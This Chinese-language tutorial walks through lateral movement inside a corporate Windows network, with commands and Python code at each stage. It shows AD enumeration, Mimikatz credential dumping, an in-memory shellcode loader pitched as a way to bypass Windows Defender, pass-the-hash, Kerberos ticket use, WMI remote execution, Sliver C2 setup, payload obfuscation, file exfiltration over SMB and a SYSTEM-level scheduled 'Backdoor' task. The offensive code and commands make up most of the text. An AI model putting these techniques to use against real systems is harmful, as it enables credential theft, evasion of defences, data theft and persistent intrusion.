一、从内网架构谈渗透攻击面
在进行内网渗透测试时,横向移动是一个关键环节。它的目标是通过获取网络内多个主机的控制权,逐步扩大权限范围,最终达到核心目标。了解内网架构,是我们设计横向移动策略的第一步。
典型企业内网会包含以下几种主要组件:
- 域控服务器:负责管理身份认证和权限分配,通常是攻击的核心目标。
- 文件共享服务:如 SMB 和 FTP,用于共享文件,是信息收集和漏洞利用的关键。
- 工作站:普通员工使用的设备,通常权限较低,但可能存储敏感信息。
- 防火墙与网络设备:控制流量和访问规则,限制攻击者的横向移动。
这些组件之间通过协议(如 SMB、RDP、WMI、LDAP)进行通信,而这些协议也成为攻击者的横向移动工具。接下来,我们将结合工具和代码,逐步演示如何进行横向渗透。
---
二、找到突破口:信息收集的关键战术
在内网环境中,信息收集是横向移动的基础。通过枚举网络资源、用户身份、以及目标机器的开放端口,我们可以了解到攻击的可能路径。
使用工具:轮子不造,直接上 BloodHound
BloodHound 是内网渗透的强大工具,用于分析域内权限关系。首先,我们需要收集 Active Directory 数据。推荐使用 SharpHound 收集数据:
<pre><code class="language-bash"># 使用 SharpHound 提取域内数据 SharpHound.exe --CollectionMethods All --ZipFilename collected.zip</code></pre>
收集到的数据可以导入到 BloodHound 中进行分析。以下是一些关键的关系节点需要关注:
- 用户组与权限:是否存在高权限用户组?
- 机器间信任:哪些机器允许远程访问?
- 敏感信息存储:某些节点可能包含未保护的凭证。
Python实现:手工枚举 SMB 共享
除了工具,我们也可以自己写脚本进行信息收集。以下代码使用 impacket 枚举 SMB 共享:
<pre><code class="language-python">from impacket.smbconnection import SMBConnection
def enumerate_shares(ip, username, password): conn = SMBConnection(ip, username, password, domain='') conn.connect(ip, 445)
print(f"[+] Connected to {ip}") shares = conn.listShares() for share in shares: print(f"[-] Found share: {share['shi1_netname']}")
替换为目标IP和SMB登录账户
target_ip = "192.168.1.10" username = "user" password = "pass123" enumerate_shares(target_ip, username, password)</code></pre>
通过这种方式,我们可以发现隐蔽的共享文件夹,进一步分析其内容。
---
三、凭证是钥匙:获取登录信息的艺术
横向移动通常需要凭证。攻击者会通过以下三种主要方式获取凭证:
- 明文密码:如网络共享文件中存储的文本文件。
- 哈希值:如 NTLM 哈希,用于 Pass-the-Hash 攻击。
- 票据与令牌:Kerberos 票据和 Windows 令牌。
技巧展示:Dump 凭证的实战
一旦我们获得了低权限的主机权限,下一步就是获取更多凭证。推荐使用 Mimikatz:

<pre><code class="language-bash"># Dump 凭证 privilege::debug sekurlsa::logonpasswords</code></pre>
如果目标机器启用了 Windows Defender,我们可以使用以下 Python 脚本动态加载 Mimikatz,绕过检测:
<pre><code class="language-python">import ctypes
def run_mimikatz(shellcode_path):
Shellcode 从文件加载
with open(shellcode_path, 'rb') as f: shellcode = f.read()
分配内存并执行 Shellcode
ptr = ctypes.windll.kernel32.VirtualAlloc(None, len(shellcode), 0x3000, 0x40) ctypes.windll.kernel32.RtlMoveMemory(ptr, shellcode, len(shellcode)) ctypes.windll.kernel32.CreateThread(None, 0, ptr, None, 0, None)
替换为你的 Mimikatz Shellcode 文件路径
run_mimikatz("mimikatz_shellcode.bin")</code></pre>
这种方式通过直接加载内存中的 Mimikatz,有效避开了文件级别的杀软检测。
---
四、横向的门:协议与工具的双刃剑
在内网中,横向移动的关键是利用协议实现远程控制。以下是主流的横向移动方法:
方法一:Pass-the-Hash 攻击
当我们获取目标机器的 NTLM 哈希时,可以利用 impacket 实现 Pass-the-Hash 登录:
<pre><code class="language-bash"># 使用 impacket 的 wmiexec.py 工具实现横向移动 wmiexec.py 'DOMAIN/user:NTLM_HASH@target_ip'</code></pre>
方法二:Kerberos 票据攻击
如果我们获取了 TGT 或服务票据,可以使用 Rubeus 实现票据传递攻击: <pre><code class="language-bash"># 加载 Kerberos TGT Rubeus.exe asktgt /user:user /rc4:NTLM_HASH</code></pre>
方法三:远程执行命令
通过 WMI 或 PSExec 实现命令远程执行。例如,使用以下 Python 代码通过 WMI 执行命令:
<pre><code class="language-python">from impacket.examples import wmiexec
def execute_remote_command(target_ip, username, password, command): executor = wmiexec.WMIEXEC( command, username + ':' + password + '@' + target_ip) executor.run()
替换目标信息
execute_remote_command("192.168.1.20", "user", "pass123", "ipconfig")</code></pre>

这些方法可以帮助我们在主机之间横向移动,逐步进入目标区域。

---
五、隐形术:流量与痕迹的对抗策略
攻击过程中,隐蔽性至关重要。以下是一些对抗检测的技巧:
流量伪装
通过伪装 C2 流量,可以有效对抗 IDS/IPS 检测。例如,使用 Sliver 配置 HTTPS 流量: <pre><code class="language-bash"># 在 Sliver 中生成 HTTPS C2 generate --http --host http://192.168.1.100</code></pre>
文件免杀
通过加壳和混淆,可以对抗杀软检测。例如使用 Python 实现简单的 Base64 加密: <pre><code class="language-python">import base64
def obfuscate_file(input_file, output_file): with open(input_file, 'rb') as f: data = f.read()
obfuscated = base64.b64encode(data) with open(output_file, 'wb') as f: f.write(obfuscated)
使用方法
obfuscate_file("payload.exe", "payload_obfuscated.bin")</code></pre>
加载时通过内存解密运行,避免触发静态分析引擎。
---
六、成功的标志:数据窃取与权限维持
在内网渗透中,最终目标可能是窃取敏感数据或维持长期控制。例如:
数据窃取
利用 SMB 或 FTP 下载文件: <pre><code class="language-bash"># 通过 impacket 的 smbclient.py 下载文件 smbclient.py 'DOMAIN/user:password@target_ip' -share fileshare -command 'get secret.docx'</code></pre>
权限维持
利用任务计划实现权限维持: <pre><code class="language-bash"># 创建计划任务 schtasks /create /tn "Backdoor" /tr "c:\backdoor.exe" /sc daily /ru SYSTEM</code></pre>
---
七、个人经验:实战中的灵活应变
渗透测试的最大挑战在于不可预测性。每个环境都有独特的架构和防护措施,因此攻击者需要灵活调整策略:
- 信息收集优先:如果无法收集到有效信息,后续攻击会受阻。
- 工具灵活应用:手工方法与自动化工具结合,避免单一依赖。
- 日志分析:成功后,查看目标系统日志,发现可能的反制措施。
横向移动不仅是技术问题,更是心理战。保持耐心,逐步推进,才能最终达成目标。
